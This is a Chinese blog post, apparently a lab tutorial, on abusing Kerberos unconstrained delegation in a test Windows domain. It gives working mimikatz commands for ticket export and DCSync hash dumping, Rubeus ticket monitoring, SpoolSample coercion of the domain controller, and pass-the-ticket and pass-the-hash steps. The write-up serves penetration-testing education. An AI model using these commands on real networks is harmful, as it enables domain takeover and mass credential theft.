内网安全-Windows域渗透-Kerberos委派(四)

admin 2022年3月22日22:06:30评论99 views字数 2387阅读7分57秒阅读模式

在第一章里,第一句话同时也是第一个问题:何为Kerberos与委派?为什么Windows域会需要Kerberos与委派?

何为Kerberos与委派,我在一到三章已经写清楚了。

现在我要来回答我曾经所问的另外一个问题


内网安全-Windows域渗透-Kerberos委派(四)

为什么Windows域会需要委派?

内网安全-Windows域渗透-Kerberos委派(四)

首先是现有需求,再有功能。委派即是Windows域的功能。

委派在Windows域内的功能即是,用用户的身份去访问服务。
即无限制的转发,B可以用从A处得到的TGT访问任意服务,其中B也可以是任意服务。

那为什么不直接服务服务,再转发给用户呢?

因为要充分利用 Windows 系统自身提供的权限控制啊,也许有的用户有权限访问那个服务而有的用户没有权限。

即Windows域为什么会需要委派。

首先根据委派功能,把委派分为非约束委派/约束委派/基于资源的约束委派。


首先来探讨一下非约束攻击

内网安全-Windows域渗透-Kerberos委派(四)

流程如下:

用户向KDC请求可转发TGT,记为TGT1KDC返回TGT1用户通过TGT1向KDC请求转发TGT2KDC返回TGT2用户通过TGT1向KDC申请访问服务1的RSTKDC返回RST用户发送RST、TGT1、TGT2和TGT2的SessionKey给服务1服务1通过用户的TGT2请求KDC,以用户名义请求服务2的RST(服务访问票据)KDC给服务1返回服务2的RST服务1以用户名义向服务2发出请求服务2响应服务1的请求服务1响应用户第7步骤的请求

这个流程有一个问题:TGT2是不被限制的,服务1完全可以用它来请求访问任何想访问的服务。攻击其实就是利用的这点,使用从高权限账户处得到的TGT去获取权限。


域环境:

域:dayu.com域控:2008r2 -2012r2dc域成员:win10ltsc -user0pc
dc配置主机账户的非约束委派
内网安全-Windows域渗透-Kerberos委派(四)
spooler服务默认自动运行
内网安全-Windows域渗透-Kerberos委派(四)

win10域普通用户尝试通过ipc访问域控,权限不足。
内网安全-Windows域渗透-Kerberos委派(四)

域控

dir \user0pc.dayu.comc$
内网安全-Windows域渗透-Kerberos委派(四)

win10本地管理员抓取TGT

.mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
内网安全-Windows域渗透-Kerberos委派(四)

导入tgt

.mimikatz.exe "kerberos::ptt [0;319a0e][email protected]" exit
内网安全-Windows域渗透-Kerberos委派(四)

通过ipc$访问域控,访问成功

dir \2012r2dc.dayu.comc$
内网安全-Windows域渗透-Kerberos委派(四)
以上流程如下:
域管向KDC请求可转发TGT,记为TGT1KDC返回TGT1域管通过TGT1向KDC请求转发TGT2KDC返回TGT2域管通过TGT1向KDC申请访问win10的RSTKDC返回RST域管发送RST、TGT1、TGT2和TGT2的SessionKey给win10win10通过域管的TGT2请求KDC,以域管名义请求本地ipc$的RST(服务访问票据)KDC给win10返回本地ipc$的RSTwin10以域管名义向本地ipc$发出请求本地ipc$响应win10的请求win10响应域管第7步骤的请求
现在win10通过本地管理员即可抓取到TGT2,即可使用TGT2冒充域管,访问任意服务。
现在实现了委派攻击,绕过了kerberos
上面利用非约束委派拿到域管账户TGT的前提是需要域管账户和委派主机有过交互才能获取到TGT。
这一点是很致命的,触发条件太苛刻了。
那么能不能在win10上让dc来通过win10访问服务呢?
可以。

利用Print Spooler服务强制触发委派
当域控机器开启Print Spooler服务时(默认开启且以System权限运行),攻击者可以主动要求域控访问已被攻击者控制的非受限委派服务器,进而获取域控主机账户的TGT。当然这种攻击方式也适用于其他非域控机器。但是这种攻击有一个限制是需要找到一台开启非受限委派的主机账户,而非服务账户并且有一个域普通账户
win10使用本地管理员运行,每1秒抓取来着域控的TGT
.Rubeus.exe monitor /targetuser:2012r2dc$ /interval:1 /nowrap

切换到域账户运行

.SpoolSample.exe 2012r2dc.dayu.com user0pc.dayu.com
切换到本地管理员,发现已抓取到票据
内网安全-Windows域渗透-Kerberos委派(四)

导入票据

.Rubeus.exe ptt /ticket:
内网安全-Windows域渗透-Kerberos委派(四)

mimikatz抓取票据

.mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
内网安全-Windows域渗透-Kerberos委派(四)

mimikatz导出域内所有用户的hash

.mimikatz.exe "lsadump::dcsync /domain:dayu.com /all /csv" exit
内网安全-Windows域渗透-Kerberos委派(四)

此时抓取到的hash为域管的hash,直接通过PTH远控域管。

内网安全-Windows域渗透-Kerberos委派(四)

之前导出的hash是mimikatz利用tgt从域控导出的hash,即导出的是域内全部用户的hash。

实验如下:

之前的

内网安全-Windows域渗透-Kerberos委派(四)

域控添加一个新用户

内网安全-Windows域渗透-Kerberos委派(四)

再次导出

内网安全-Windows域渗透-Kerberos委派(四)

(之前把密码都设的一样,不知道导出的本地管理员还是域管的hash,所以我改了一下域管的密码,现在看来,这个命令是导出域内用户的hash)

可以看见新增了dayu1这个用户的hash,即同步了域控的hash。

因为非约束委派很不安全,所以微软又发布了约束委派,区别在于不会直接把TGT给服务,所发送的认证信息中包含了允许访问的服务,即不允许服务代表用户去访问其他服务。
备注:个人理解,如果有误,感谢指出。

内网安全-Windows域渗透-Kerberos委派(四)



• 往期精选

内网安全-Windows域渗透-Kerberos委派(四)
内网安全-Windows域渗透-Kerberos委派(四)

GoldenEye 靶场渗透测试

CVE-2020-1472漏洞复现

记一次艰难的SQL注入(过安全狗)

干货|sql注入绕WAF的N种姿势

内网安全-Windows域渗透-Kerberos委派(四)

下方点击关注发现更多精彩!

原文始发于微信公众号(银河护卫队super):内网安全-Windows域渗透-Kerberos委派(四)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月22日22:06:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网安全-Windows域渗透-Kerberos委派(四)http://cn-sec.com/archives/834910.html

发表评论

匿名网友 填写信息